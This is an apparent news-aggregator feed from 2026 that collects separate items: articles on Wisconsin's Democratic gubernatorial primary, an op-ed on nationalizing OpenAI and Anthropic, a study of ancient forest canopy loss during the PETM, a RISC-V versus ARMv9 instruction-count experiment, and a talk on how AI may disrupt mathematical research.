With an outsider campaign that defied expectations and conventional wisdom, she came within a whisker of winning one of the highest-profile contests of a volatile election year. And, despite a frenzied final debate about her “electability,” public polls and internal Democratic surveys suggested that she could be a viable contender in November against the extremely right-wing Republican nominee, Tom Tiffany.

Even as she promised to fully support Crowley , Hong reflected, appropriately, on what her own run had accomplished. “This campaign was not about getting one person into office,” she said. “It is about building a movement and a government that puts working people first. Our movement is strong, and the work isn’t done.”

The map of Wisconsin confirms that assessment. Hong’s support was not narrowly defined, nor regionally constricted. She won 20 of Wisconsin’s 72 counties, carrying wide swaths of northwest and western Wisconsin, as well as much of the industrial Fox Valley. She won Green Bay and surrounding Brown County, as well as Democratic strongholds such as Eau Claire and La Crosse. She carried Menominee County, the home of the state’s Menominee Indian Reservation. Her highest percentage of the vote came not from liberal Madison’s Dane County but from Ashland County on the far shores of Lake Superior. She even came within 2,400 votes of winning Crowley’s Milwaukee County.

While much of the national coverage of the Wisconsin campaign had focused on Hong’s democratic socialism and her old tweets about Thanksgiving and the best place to sample cheese curds, the secret to her statewide viability was not a novel new approach developed by strategists in New York or Washington.

Rather, Hong practiced an old-school version of Wisconsin Democratic politics—recognizing the importance of building a coalition rooted in the progressive heartlands of Madison, the diverse precincts of Milwaukee, and the rural regions that Democrats have so frequently neglected. In building that coalition, Hong did something that is so rare in politics that it confused many of the national reporters who began following her as her campaign as it surged in the polls: She engaged in real conversations with Wisconsinites, joking with them, showing off her Milwaukee Bucks tattoo, and paying close attention when they talked about things like their concerns about AI data centers.

Long before most Democrats nationally took an interest in the issue, Hong called for a moratorium on construction of major data centers. But she did not stop there. She recognized that the widespread opposition to data centers is just one expression of a deeper anxiety over the threat that artificial intelligence poses to jobs, privacy and the frameworks of our lives. So—in addition to plans to tax the rich and fully fund public education, break up agribusiness monopolies, establish public banking, and strengthen unions—she proposed a detailed agenda that promised “no tax breaks or state funding for AI layoffs” and said that, when it came to AI regulation, “Wisconsin will step in to protect workers if the federal government won’t.”

Hong’s determination to build a campaign based on her interactions with voters—as opposed to demands from campaign donors and talking points from out-of-state consultants—set her apart. And it built a loyalty that saw her through the turbulent close of a campaign in which candidates with more money and name recognition stumbled and, in many cases, dropped out. Even amid claims that Hong could not beat a Republican “culture wars” crusade that would attack her as a holiday-hating Marxist, hundreds of thousands of Democratic primary voters stuck with the 37-year-old progressive, who proudly identified herself as “a mom, service worker, chef, and community organizer”

Just as Hong stuck with them. While most of the media’s attention to the last days of the campaign focused on some ill-advised appearances on national cable shows—where the commentariat could talk about nothing but old tweets on police funding and Thanksgiving—the candidate spent most of her time on the road, traveling along blue highways and county roads from Viroqua (population 4,504) to Siren (population 1,554) and to historic manufacturing centers such as Kenosha, and, of course, to Green Bay. She frequently mentioned the latter city in response to questions about her supposedly “radical” ideology: “When people ask about my style of progressive politics, I always start with the three Ps: fixing potholes, fully funding our public schools, and our community-owned Green Bay Packers.”

“At some stops,” Hong noted, “we’ve even had to change venues because so many people [were] showing up.” They wanted pictures with the former chef and restaurant owner from Madison whom so many national commentators portrayed as “too radical” or “too woke” to connect with voters in a swing state such as Wisconsin. In fact, Francesca Hong connected with more than 300,000 of them, as she laid the foundations for a movement that is far from finished.

is the executive editor of The Nation. He previously served as the magazine’s national affairs correspondent and Washington correspondent. Nichols has written, cowritten, or edited over a dozen books on topics ranging from histories of American socialism and the Democratic Party to analyses of US and global media systems. His latest, cowritten with Senator Bernie Sanders, is the New York Times bestseller It's OK to Be Angry About Capitalism .

Copyright c 2026 The Nation. Reprinted with permission. May not be reprinted without permission . Distributed by PARS International Corp .

Founded by abolitionists in 1865, The Nation has chronicled the breadth and depth of political and cultural life, from the debut of the telegraph to the rise of Twitter, serving as a critical, independent, and progressive voice in American journalism.

Please support  progressive journalism. Get a digital subscription to The Nation for just $24.95!


Wisconsin Outcome Hands Dems a Surprise Weapon Against MAGA

by Greg Sargent

The New Republic / August 12, 2026

Ben Wikler, who heroically rebuilt the Wisconsin Democratic Party as its chair from 2019 to 2025, is fond of describing our election system as akin to an “electric grid.” The idea is that local elections are interconnected in obscure ways. Just as losing one substation can wreak havoc on electric power in nearby areas, local electoral outcomes can have ripple effects that are not immediately obvious but nonetheless prove hugely consequential.

Case in point: David Crowley’s upset victory over democratic socialist Francisca Hong in Tuesday’s Wisconsin gubernatorial primary. Crowley, the candidate of the Democratic “establishment,” defeated Hong by half a point . Yet this extraordinarily narrow win could have hidden, surprising implications that benefit the party more broadly, perhaps impacting Democrats’ ability to combat MAGA-GOP tactics in the 2028 presidential race and in the longer-term House redistricting wars.

Let’s connect the dots. Most obviously, a Crowley win in the primary probably makes it more likely that a Democrat will take over the Wisconsin governorship next year from incumbent Democrat Tony Evers. Republicans spent millions to boost Hong for exactly that reason. But that’s not all: With Crowley at the top of the ticket, Democratic strategists believe, wins in many down-ballot state legislative races in Wisconsin are now more likely.

On that front, the stakes are very high. Another top Democratic goal this year is flipping control of the Wisconsin state legislature, which is notoriously far more right wing than the state itself. To do so, they’re targeting 14 GOP-controlled legislative seats—10 in the State Assembly and four in the State Senate. Winning those seats would have been harder with Hong as the gubernatorial candidate, Democratic strategists say.

“Crowley’s path to victory runs through suburban Wisconsin and through holding down Republican margins in rural communities,” Joe Zepecki, a veteran Democratic strategist in the state, told me. “That overlaps with exactly where Democrats need to win state legislative seats to get the trifecta next year.”

By contrast, Zepecki said, Hong’s path would have run through boosting youth turnout in Wisconsin’s urban centers and around college campuses. “That does not map on to where the competitive legislative races are,” Zepecki noted.

A Democratic trifecta in Wisconsin will be hard to pull off with Republicans enjoying a three-seat edge in the State Senate and nine-seat edge in the Assembly. But with Trump’s approval in the state stuck at around 40 percent , a very good year is certainly plausible. The large number of GOP state legislators who retired this cycle shows that Republicans very much agree.

And a trifecta suddenly makes possible big progressive legislative changes, Zepecki pointed out, like ending the state’s right-to-work status, restoring collective bargaining for public employees, a minimum wage hike, legalizing cannabis, and more. These have had “zero chance of passing since 2011,” Zepecki said, referring to when Republican Scott Walker was elected governor and lurched the state in a reactionary direction. “That’s a long time.”

Now note that the GOP gubernatorial nominee, Representative Tom Tiffany, is an election denier who voted against certifying Joe Biden’s 2020 electors. There’s no telling what he’d do to sabotage the electoral count in the 2028 presidential election. Same with a GOP-controlled legislature. If Democrats can win the governorship—and even better, both legislative chambers—it would cut off that option, too.

Want more? Recall that Wisconsin’s congressional seats remain hideously gerrymandered due to the last decade of GOP redistricting: Right now, Republicans control six House seats and Democrats control two. That’s ludicrous in a state where Evers was elected governor in 2022 and in 2018 by very slim margins, not to mention where Donald Trump won in 2024 by less than a point after losing to Biden in 2020 by—you guessed it—less than a point.

That extreme gerrymander gives Democrats a big opening—if they can flip the state legislature. Republicans have unleashed the gerrymandering hounds nationally—the party has long gerrymandered, but Trump and MAGA supercharged it this year by demanding mid-decade chicanery across the country—and most Democrats grasp that they now must do the same.

But in this cycle they were hamstrung by structural obstacles. More redistricting opportunities will soon open up, and a big one could be in Wisconsin: As a recent Fair Fight Action analysis found , Democrats could potentially squeeze three additional House seats out of the state.

It’s not clear when this might be doable: The state constitution probably precludes a redistricting next year (though a Democratic trifecta could try). But if Democrats can assemble and keep this trifecta through 2031, then they can redraw the House maps to gain those three seats into the next decade. As Fair Fight Action’s Max Flugrath put it: “Flipping the Wisconsin legislature is critical to countering the GOP’s war on fair representation.”

There’s still more! The gubernatorial outcome could also impact the hugely contested House race in Wisconsin’s third congressional district, which could figure in a new Democratic majority. The party’s preferred candidate, Rebecca Cooke, just won her primary there. A source familiar with internal Democratic polling tells me Crowley’s victory makes it more likely that Cooke can compete against hard-core MAGA GOP Representative Derrick Van Orden with male independents, a key demographic in the district.

“That wasn’t going to happen with Hong at the top of the ticket,” the source said.

Admittedly, these sorts of calculations—the slicing and dicing of the electorate, the notion that long-term policy and redistricting advances live or die on such infinitesimal shifts—are not a particularly inspiring way to think about politics.

Yet this is how our system is constructed. The reversal of the GOP rigging of democracy in Wisconsin has been incredibly painstaking. It depended on hard-won victories like recapturing the State Supreme Court in 2025 in the face of $20 million in spending by Elon Musk. It has relied on arduous, unglamorous organizing, and on grinding victories akin to tiny movements in trench warfare.

As Wikler has put it, unrigging the GOP capture of democracy in Wisconsin taught him something about how power ebbs and flows—how seemingly isolated victories enable other gains elsewhere down the road. “I compare it to an electrical grid where if you short out one substation, the lights flicker in the next neighborhood,” Wikler recently told Ezra Klein . “American political power is like that.”

Over time, in short, every little victory here and there adds up to something much bigger than the sum of its parts. In Wisconsin, the long-term unrigging of the GOP hammerlock on democracy still hangs in the balance—but it’s certainly more plausible now than it was only 24 hours ago.

Greg Sargent is a staff writer at The New Republic and the host of the podcast The Daily Blast . A seasoned political commentator with over two decades of experience, he was a prominent columnist and blogger at The Washington Post from 2010 to 2023 and has worked at Talking Points Memo, New York magazine, and the New York Observer. Greg is also the author of the critically acclaimed book An Uncivil War: Taking Back Our Democracy in an Age of Disinformation and Thunderdome Politics.

The New Republic was founded in 1914 to bring liberalism into the modern era. The founders understood that the challenges facing a nation transformed by the Industrial Revolution and mass immigration required bold new thinking.

Today’s New Republic is wrestling with the same fundamental questions: how to build a more inclusive and democratic civil society, and how to fight for a fairer political economy in an age of rampaging inequality. We also face challenges that belong entirely to this age, from the climate crisis to Republicans hell-bent on subverting democratic governance.

We’re determined to continue building on our founding mission.

Sign up for a TNR newsletter on politics, climate, culture and more.

AI Should Be Made To Serve the Public Interest

Portside
portside.org
2026-08-14 22:20:35
AI Should Be Made To Serve the Public Interest barry Fri, 08/14/2026 - 22:20 ...
Original Article

Open AI, and then Anthropic , were each formed by AI developers who feared unrestrained corporate AI development – specifically, that companies like Google and Meta would steer the technology towards deleterious, maybe even catastrophically unsafe, outcomes for society. Their founders proclaimed that their new labs, uniquely, could be trusted to develop the technology in humanity’s best interest. But each, in turn, were themselves co-opted by the same market incentives, themselves becoming corporate behemoths zealously guarding future investor value rather than the public interest.

It was only a few weeks ago, in June, when OpenAI and Anthropic each filed for their IPOs and were met with buzz about trillion-dollar valuations. The hype around their valuations is so extreme that many worry about their potential for concentrating wealth on a global scale. In an effort to leave something for the rest of us, some observers have proposed that the federal government seize a share of these companies’ stock to create a US sovereign wealth fund , or redistribute their revenues to produce a dividend for taxpayers.

Now the headlines are about public backlash to AI datacenters and the AI chip giant Nvidia’s slumping stock. The tech and AI giant SpaceX’s newly minted stock price tanked just weeks after its IPO. There are even questions about whether the leading AI labs will ever be sustainably profitable . All of a sudden, the makers of ChatGPT and Claude face strong headwinds as they seek to generate the massive equity assets that once felt all but assured.

In fact, evidence suggests the market itself could reassess that these companies offer nothing of financial value. In that case, perhaps we can return them both to their original purposes. If these AI companies should fail in the financial markets, the US should nationalize them and convert them into national labs operated under democratic control that preserve their benefit to the public interest.

The economics of the big AI labs hardly guarantee a booming return on investment. Frontier AI models are both expensive to train and depreciate within months, when a newer model appears. This means that the payback window to extract profit from them is very narrow. Meanwhile, enterprise clients are getting smart about minimizing AI token usage. Even worse, the models are basically commodities; the best ones largely perform and behave similarly, which depresses prices. Perhaps most importantly, open-source and Chinese competitors – lagging only a few months behind the leading labs in capability – give away for free the kinds of models Anthropic and OpenAI sell.

Even setting aside the model training costs, it’s not clear whether the unit economics of AI as it’s currently conceived will ever be sustainably profitable. Many of these free and open-source models can be run locally: the large ones on private clouds and high-end servers, the smaller ones on anyone’s laptop or even cellphone, putting to question the companies’ exorbitant capital investment in datacenters.

It’s not that OpenAI and Anthropic are not valuable as organizations. They have remarkably talented AI scientists and engineers that are continuously producing innovations driving a global mania for their offerings. These leading labs might not ever be profitable, but their products are doing a lot of good in the world. You may or may not be a user of or believer in their technology, but their staggering, ongoing usage growth suggests that an awful lot of people would be disappointed if the companies simply disappeared.

The problem isn’t the people or the products, it’s the system. As constituted, OpenAI and Anthropic may not be valuable as market equities. If the market assesses they are not capable of producing a growing financial return on investment for shareholders, the companies will collapse.

Maybe private, for-profit is just not the right economic model under which to develop AI. Perhaps OpenAI should be returned to its private non-profit roots, the legacy they fought so hard to change and which Anthropic’s founders spurned . Or possibly both could be reorganized as research centers at universities, returning to academia the scores of high-profile research faculty they have poached .

But a better outcome for society would be to establish public ownership and operation of their product-oriented capabilities. Turn OpenAI and Anthropic into US government agencies producing AI as a public good.

Transitioning the big AI labs into public agencies would require some restructuring. We can separate these companies into two pieces: product innovation and compute operations. The innovation function can be publicly managed, akin to national labs. Congress could provide more rigorous oversight than the kind of unfettered venture capital these labs have recently had access to. The US has a long, successful history of these kinds of institutions, which have produced world-shaping innovations in spaceflight, telecommunications, nuclear power and more. Congress currently manages a $200bn R&D portfolio , within which frontier AI development is, arguably, a glaring gap.

AI operations could be managed as a commodity resource, like public electrical or water utilities: local or regional ownership, nationwide distribution and strict regulation on how they balance fee extraction from ratepayers with raising capital for infrastructure investment. Although AI datacenters are not the same as power or water treatment plants, the US also has a long history of managing national, regional and state supercomputing centers.

Other countries, including Switzerland , Spain and Singapore , are already operating public AI labs. They also have national supercomputing centers already providing public access for running AI models for general use, as do Germany and Australia.

The benefits to the public are clear. Through democratic oversight, the most important AI models could become open, transparent and responsive to the demands of the public rather than private shareholders. They could be aligned to democratic values rather than corporate profits, never taking advertiser money to promote certain brands and training on only appropriately licensed data. And they could be set to focus on the realistic and pro-social goal of maximizing the usefulness of AI to society rather than the fanciful and anti-social goal of supplanting humans with artificial general intelligence.

By emphasizing scientific cooperation rather than corporate competition, we could also reduce the overall resource and environmental cost associated with AI. Instead of perpetually dueling training runs of each companies’ models at ever large scales targeted to fuel investor hype, we could limit AI training resources based on cost and benefit to the public.

What’s in it for the companies themselves and their employees, who sacrifice hypothetical billions in equity by ceding to public ownership? A return to their roots and to their core mission of developing AI safely in the public interest, if they are serious about it. Both companies are theoretically bound through their governance structures to prioritize mission over profit anyway (not that anyone really thinks that’s how they currently operate).

To be clear, we’re not advocating for a golden parachute for the executives or investors, or for continuing the outlandish pay rates of the most highly remunerated AI researchers. If the public is footing the bill, these compensation packages should be aligned to the civil service and those employees not satisfied with that can go elsewhere – if the business models of any remaining private labs still support much higher pay.

While we believe that these companies are unsustainable as private firms, the timeline remains unclear. Their primary investor story is that AI is a race to “artificial general intelligence” – the kind of AI you’re used to from science fiction. The bet seems to be that the two companies can convince enough people that this outcome will turn them a profit, go public, and then make their investors and employees rich before the bubble bursts.

But suppose that the bubble bursts. If the US is smart, it will catch the companies as they fall. Regardless of what the markets think, to the public, they’re too valuable to let die.

  • Bruce Schneier is a security technologist who teaches at the Harvard Kennedy School at Harvard University and University of Toronto’s Munk School

  • Nathan E Sanders is a data scientist affiliated with the Berkman Klein Center of Harvard University and co-author, with Bruce Schneier, of the book Rewiring Democracy: How AI Will Transform Our Politics, Government, and Citizenship

The Guardian is globally renowned for its coverage of politics, the environment, science, social justice, sport and culture. Scroll less and understand more about the subjects you care about with the Guardian's brilliant email newsletters , free to your inbox.

Ancient Forests Took 100,000 Years To Recover From the Last Global Warming

Portside
portside.org
2026-08-14 21:59:40
Ancient Forests Took 100,000 Years To Recover From the Last Global Warming barry Fri, 08/14/2026 - 21:59 ...
Original Article

Fifty-six million years ago, Earth’s forests reached a tipping point . They had grown dense, lush canopies at the start of one of Earth’s most intense episodes of greenhouse warming. But those canopies began to thin.

As global temperatures rose by as much as 11 degrees Fahrenheit (6 degrees Celsius), heat and drought put stress on the forests, killing large numbers of trees. Forest canopies opened, exposing the ground to more sunlight and altering the movement of water through the landscape.

In southern Wyoming, ferns briefly flourished where relatives of elms, walnuts, dawn redwood and avocado trees once thrived. Then palms and other warmth-loving plants spread northward.

In a new study in the journal Science, my colleagues and I show how those Wyoming forests lost 60% of their canopy during this period, known as the Paleocene-Eocene Thermal Maximum, or PETM, and how it took them well over 100,000 years to recover.

Three scientists work on an outcropping overlooking an expanse of forest.

Two authors of the new study, Marieke Dechesne, left, and Ellen Currano, standing at center, collect fossils from a sand channel in rocks in Wyoming dated to the Paleocene-Eocene Thermal Maximum. Regan Dunn

The PETM was Earth’s closest natural analog to the warming the world is experiencing today, although humans are releasing carbon dioxide roughly 10 times faster than the planet’s natural processes did then.

Understanding what happened to the forests may help humanity recognize similar thresholds before the planet crosses them again.

Reading the forest from fossil leaves

As paleobotanists , my colleagues and I use plant fossils to identify which species once lived in a place. We wanted to answer a harder question: What did the forest itself look like and how did it change?

The structure of a forest – and importantly its canopy – controls the amount of light that reaches the forest floor, the temperature, water habitat and amount of carbon the forest can store, making it one of the clearest indicators of ecosystem function.

But how do you measure the density of a forest that disappeared 56 million years ago?

Ecologists measure canopy density using what’s known as leaf area index . Dense forests with multiple layers of leaves intercepting sunlight have a high leaf area index score, while open forests that allow more light to reach the forest floor have a lower score. Because the forest canopy influences shade, temperature, water loss and photosynthesis, the index provides a powerful measure of forest function.

Our clues to the density of forest canopies millions of years ago came from microscopic plant cuticles – the thin, waxy outer skin of leaves that can survive for millions of years in organic-rich sediments.

You can still see the shapes of epidermal cells in these fossil leaf fragments, and that’s important.

The cell shape reflects the amount of sunlight the leaf received while growing. Leaves that grow in shade develop longer, more elongated cells as they stretch out seeking sunlight. Those exposed to more sun develop shorter, rounder ones.

Images show the denser canopy cover with elongated cells than with rounded cells in leaves.

Images on the left illustrate the amount of canopy cover that a creature on the ground likely would have seen looking up toward the sky. Each example is connected to the shape of its fossil cuticle cells on the right. The more open the canopy, the rounder the cells. R. Dunn, et al., 2026

We turned that relationship into a tool for reconstructing ancient forests. To calibrate it, we collected soils from forests across Central and South America spanning a wide range of canopy densities. Each handful of soil contains cuticles shed by many different plants across the canopy, reflecting the structure of the forest as a whole.

Four images show the differences between elongated and rounded cells in leaves.

Two sets of magnified leaf cuticle cells: Fresh leaves are on the left and fossil leaves are on the right. Comparing the two sets shows the difference between the more elongated cells in the top set, which had more canopy cover, and rounder cells, suggesting more sun exposure, in the bottom set. R. Dunn, et al., 2026

The fossil record preserves this same fragmented leaf litter. Comparing the shapes of thousands of epidermal cells with the leaf area index we measured revealed a remarkably strong relationship : The more elongated the cells, the denser the forest canopy above them.

That relationship allowed us to reconstruct the structure of Wyoming’s forests millions of years ago and show how they changed over time.

When forests reach their limits

One of the most surprising discoveries was that the forests did not enter the Paleocene-Eocene Thermal Maximum in decline.

Just before rapid warming began, the forest canopies reached their greatest density in hundreds of thousands of years, likely reflecting favorable growing conditions as atmospheric carbon dioxide began to increase. A leading theory for the source of that carbon dioxide involves volcanic eruptions.

That flourishing forest did not last, however. As temperatures climbed, heat and drought overwhelmed the benefits of higher carbon dioxide levels. The canopy rapidly thinned as trees died , and it remained much thinner for over 100,000 years.

Two charts show how tree canopy declined, while palms expanded, then palms shrunk as the canopy grew again.

Tree canopy is often measured using leaf area index. This chart of the Paleocene–Eocene Thermal Maximum, 56 million years ago, shows how the canopy cover shrank as temperatures rose, with the timeline starting with the oldest period at the bottom. The bars on the right show the percentage of different types of plants in forests in Wyoming as the mix changed with the canopy cover, based on fossilized pollen and other palynomorphs. R. Dunn, et al., 2026

The forests functioned very differently in this diminished state, and that affected the surrounding environment. Ancient soils gave way to coarser river deposits, suggesting that the loss of canopy altered how water and sediment moved through the basin.

The changing climate changed the forest, and the forest changed the landscape.

Lessons for today

This sequence carries an important lesson for today.

Higher carbon dioxide levels like the world is experiencing now can stimulate plant growth, but only while temperatures and water remain within the limits that trees can tolerate.

Beyond those limits, heat, drought, insects, pathogens and wildfire can overwhelm any fertilization effect that would boost growth.

Around the world, many forests are already showing signs of diminishing as temperatures rise, in addition to deforestation for timber, crops and rangeland that further reduce their resilience.

Forests recovered, but it took over 100,000 years

The story of the ancient forests of 56 million years ago does not end with collapse.

Over time, the increased breaking down of rocks in the warmer climate, known as weathering, gradually pulled carbon from the air , storing it in marine sediments. That allowed the climate to cool and water to become more available.

Forest canopies recovered, eventually becoming even denser than before the warming began. As the forests expanded, they likely restored their ability to stabilize soils, regulate the water cycle and draw carbon from the atmosphere, helping reduce the greenhouse effect and boost the planet’s long-term recovery.

Two scientists in hard hats, with heavy machinery in the background. One scientists is separating part of a long cylinder of mud and sediment.

Study authors Regan Dunn and Ellen Currano work on a sediment core extracted from Wyoming’s Hanna Basin by colleagues with the U.S. Geological Survey. Cores like this capture layers of fossil pollen and leaf material going back in time, revealing how environments changed. Regan Dunn

Our study shows that carbon dioxide emissions have pushed forests beyond their physiological limits before , triggering changes that ripple from vegetation to rivers and across entire landscapes. It also shows that forests are remarkably resilient when given time to recover, but what counts as time is far longer than a human lifespan – it requires thousands of generations.

Today, human-caused carbon emissions and warming are unfolding vastly faster than during the PETM. The fossil record reminds us that forests can recover, but only if humanity avoids pushing them beyond thresholds from which recovery takes tens of thousands of years. The Conversation

RVA23 vs ARMv9 a Small Experiment

Lobsters
gist.github.com
2026-08-14 20:42:34
Comments...
Original Article

I was curious to see how RISC-V and ARM compare in terms of dynamic instruction count and code density, so I devised a small experiment to compare the ISAs.

As a test codebase, I choose the chibicc C compiler, because it's a medium size project and is quite easy to compile. To benchmark chibicc I just used it to compile itself, which should be a quite realistic workload to simulate a complex non-regular application. I merged all files into one and did some minor modifications, the code can be found at: https://godbolt.org/z/xr3nEW8Wf

You may notice that I added unoptimized scalar implementations of the mem* and str* functions from musl-libc. This is because I decided to not include SIMD code in this experiment, in an effort to remove more unknown variables and focus on comparing the base ISAs. Without these measures, the results seemed similar.

Without further ado, below is the table comparing the results:

static QEMU GEM5
ISA Compiler Bytes Bytes Insns uops** Sim-Time Insns uops
RVA22 clang-19 772K 1221M 424M +0M = 424M 0.221s 438M +0M = 438M
RVA22 gcc-15 772K 1309M 445M +0M = 445M 0.217s 459M +0M = 459M
RVA23* clang-19 772K 1185M 423M +0M = 423M 0.243s 438M +0M = 438M
RVA23* gcc-15 772K 1265M 441M +0M = 441M 0.217s 456M +0M = 456M
armv9* clang-19 944K 1543M 386M +39M = 424M 0.225s 399M +70M = 469M
armv9* gcc-15 936K 1688M 422M +39M = 460M 0.236s 435M +66M = 501M

*excluding SIMD/vector instructions

**Derived from the "Apple Silicon CPU Optimization Guide": ((ld|st)\w.*#\w*(\]!)*$)|ldp|stp , so load/store pairs and pre-/post-index load/stores

As mentioned before, I'm explicitly excluding SIMD from this experiment, so I used the following compiler arguments to achieve this:

  • RVA22: -O3 -march=rv64gcb -static
  • RVA23: -O3 -march=rv64gcb_zcb_zfa_zicond -static
  • armv9: -O3 -march=armv9-a+nosimd+nosve -static

Let's go through the results from left to right.

Firstly, the static sizes of the RISC-V binaries is about 18% smaller than the sizes of the ARM ones. The sizes are extremely similar for both RVA22 and RVA23, and regardless of compiler. For the dynamic instruction size however, that is the sum of executed-instructions-lengths, there is a clear improvement going from RVA22 to RVA23. RVA22 needs to fetch 21% fewer bytes than armv9 and RVA23 goes down to 24% fewer bytes than armv9. AFAIK QEMU doesn't come with the ability to count the executed-instruction-lengths out of the box, so I needed to patched the tcg/plugins/insn.c plugin.

When it comes to dynamic instruction count, ARM ends up the clear winner with on average of 6.5% fewer instructions that need to be decoded. But the instructions them self isn't what ends up executing in the backend. Due to the more complex addressing modes present in ARM, but not in RISC-V, the CPU needs to crack some of them into multiple micro operations (uops). The "Apple Silicon CPU Optimization Guide" tells use that Apple Silicon processors primarily crack load/store pairs and pre-/post-index load/stores into two uops. To take this into account, I modified the tcg/plugins/insn.c plugin again, to allow me to count instructions matching a regex. Adjusted for uops the field evens out again and the clang codegen for each ISA ends up with roughly the same amount of uops. On GCC the RISC-V codegen even ends up with fewer uops.

GEM5 is a cycle accurate micro architectural simulator, which should theoretically allow us to simulate almost the same micro-architecture (O3 CPU model) for different ISAs. The GEM5 simulated time should however definitely be taken with a large grain of salt. In practice this it's unlikely that the two GEM5 models reflect what the same design team with the same budget, but different ISA targets, would arrive at. Still, we can observe that in this particular test, both RVA22 and RVA23 ended up executing faster than armv9. Interestingly, the gcc binaries took less time to execute than the clang binaries even though clang had a smaller dynamic instruction and uop count. Also, for some reason, clang ended up with worse results from RVA23 than RVA22.

The instruction count between QEMU and GEM5 differs, this is presumably an artifact of running with qemu user-mode emulation. The uop count is also different, and the ARM binaries ends up with a larger uop count than the RISC-V ones, which might explain the performance difference. I sadly couldn't figure out which instructions are cracked by the ARM GEM5 O3 performance model.

So in conclusion, in this small experiment, ARM and RISC-V roughly match in the number of uops they needed to feed their backends. ARM needed to decode fewer instructions, but crack some of them into two uops. RISC-V on the other hand needed to fetch fewer bytes overall, due to its compressed instruction encoding, but needed to decode more total instructions directly into uops, with very little instruction cracking. The difference between RVA22 and RVA23 in this codebase seems to be negligible. This is presumably because the biggest difference between the profiles is this addition of RVV support, which was disabled for this test.

The End of Mathematics

Hacker News
www.daniellitt.com
2026-08-14 23:37:00
Comments...
Original Article

I'm currently returning to Toronto from a summit on the future of mathematics, at OpenAI. Sebastian Bubeck asked me to talk a bit about the future we'd all like to avoid, where humans are mathematically disempowered. Jacob Tsimerman advised us to try to prioritize detail over correctness, and I have no doubt that I succeeded in deprioritizing correctness.

I tried to find a title that wasn't too bombastic:

The End of Mathematics title slide

The premise of the workshop (which we took as a starting point, rather than subject to debate, for the sake of productive discussion) was that AI will become robustly superhuman at mathematics. I want to tell a story in which, despite this, mathematical progress stalls. To be clear this is not a prediction--I'm optimistic by nature and think we'll find a way to adapt--but I am trying to imagine what a future in which certain existing trends continue might look like.

Premise of the talk

2026

What's clear is that we are at the start of a massive explosion of mathematical outputs; for example, below is the number of combinatorics papers posted per week to arXiv since late 2021. Other areas show a similar, but not quite dramatic, rise. I imagine a time series of tweets about math results would look similar.

Growth in mathematical outputs

What's less clear is how interesting or correct this surplus is, let alone how much of it is being meaningfully engaged with. Nonetheless it contains a number of striking and significant new results.

Examples of significant new results

At the same time certain organs of the mathematical community are atrophying. Below is a graph of MathOverflow questions and answers by month; these numbers have been in slow decline for some time as MathOverflow's function has been cannibalized by Discord etc., but the decline since the beginning of 2025 is likely due in large part to AI. What I find striking here is that there are both fewer questions and fewer answers . For example, I was not able to find an increase in answers to older questions in the statistics here, or really any other statistic I could spin as positive.

MathOverflow questions and answers by month

Even among the most interesting results produced by AI, something odd is starting to happen. For example, three groups independently produced very similar proofs of Feige's 1/e conjecture almost simultaneously; two groups disclosed that the result was found by AI. After @__alpoge__ posted Fable's counterexample to the Jacobian conjecture in dimension \geq 3, an internal model at OAI replicated it; likewise Anthropic replicated many of the recent results OpenAI has announced. The models, and the people using them, seem to be solving the same problems.

Different groups and models duplicating mathematical results

In practice this means that a huge amount of duplicative labor, both in flesh and in silico, is being devoted to work whose marginal value to mathematics is, essentially, the cost of the tokens and perhaps a few bits of information indicating that the problem can be solved by existing models.

Duplicative labor

2027

Of course this work might have value to the people announcing it (credit, PR, etc.).

Right now we try to incentivize the production of high quality science by rewarding people who produce papers, prove theorems and resolve conjectures, etc. But these outputs are now mispriced, and incentivizing them is not obviously optimal for the production of high quality science. What happens if we continue to do so in the next years?

I think if we do, the dominant strategy for career success (at least in the medium term) is playing the slot machine for conjectures. In fact one does not even have to choose the conjectures--you can just ask codex to pick them and resolve them and check the work. If you care about producing correct papers you can produce multiple short papers per day this way (and people who are doing so); if you don't care about correctness you can produce far more (and people are doing this too).

What's the value-add? The cost of the tokens? Certainly not the expertise developed--there is none. No one, not even the author, is reading much of this work. Mathematicians are no longer connected to the underlying mathematics. Even human verification is arguably less valuable as the models become more reliable.

The mathematical profession in 2027

Moreover this has seriously negative effects on the math community. We are near the point where the models can reconstruct a paper given a few key ideas. Some of the autonomous AI results we are starting to see have a "last mile" flavor, where they finish off a problem after deep recent work by others. In this world talking about one's work in progress--or even indicating that the models can solve a given problem--is increasingly dangerous (at least if we still reward such work with prestige, jobs, etc.).

I've recently been told by multiple colleagues that they are unwilling to discuss work in progress for this reason.

Risks of discussing work in progress

2028

Nonetheless there are some bright spots. Autoformalization becomes cheap and effective. Many gaps or errors in the literature are discovered and repaired.

Much hay has been made of the necessity of human judgment here, to check that statements and definitions are formalized correctly. I am skeptical of this--I see no reason the models will not be able to do this effectively.

On the other hand, we are already starting to see cases (e.g. the two examples in the slide below) where formalizations differ from the English text they are formalizing in ways that may not be obvious to the readers. Again mathematicians are becoming disconnected from mathematics--while they might be able to trust the statements in past work, it is harder to trust the ideas . Informalization helps with this a bit but it is costly and time-consuming.

Autoformalization in 2028

2029-

Despite this, the profession still incentivizes the production of papers. Models start to fulfill all the functions human mathematicians do now: theory-building, conjecturing, resolving conjectures, iterating, etc. Human mathematicians are doing "lab science" with agents, perhaps directing compute to questions they find interesting.

Who is engaging with this work? How are we training the next generation? It's not clear to me that our current institutions, if they do not adapt to this new regime, continue to produce high-quality mathematicians. Indeed it seems to me that our existing incentive structures will start to reward people who do not engage deeply with the mathematics, or, arguably, care about it at all.

The mathematical profession from 2029 onward

Will this lead to a sustainable mathematical practice? I think plausibly not. Why would such people continue to devote resources to agents doing mathematics at all? Perhaps this is what the long term of mathematics research looks like, in this world:

A possible long-term future for mathematical research

A summary of some possible risks:

A summary of possible risks

I want to point out that these problems are reflections of the fact that the profession itself is already imperfect in various ways. This isn't surprising--as AI-induced change puts stress on our institutions, they will of course crack in the places where they are already flawed. Perhaps this exogenous shock will give us a chance to fix some of these flaws.

Existing flaws in the mathematical profession

Our institutions have certain values (production of high quality science, human capital, human understanding, etc.) that we try to achieve by rewarding people who contribute to them, with fun, prestige, etc. These values persist in a world with highly capable AI, but the mechanisms we use to achieve them are in many cases not robust to highly capable AI.

Institutional values and incentives

Some final questions:

Final questions

For what it's worth, I'm broadly optimistic that mathematics will survive and flourish. We have the opportunity to learn and understand incredible things. I think we'll adapt.

I think many of these concerns may seem quaint or parochial in the next few years, as highly capable models cause massive social upheaval beyond the world of abstract mathematics. My hope is that the questions I raise here are narrow enough to be considered productively, though, and that our answers might serve as a model for others as they too are impacted.

AI Driven Testing

Hacker News
app.deltix.ai
2026-08-14 22:42:14
Comments...
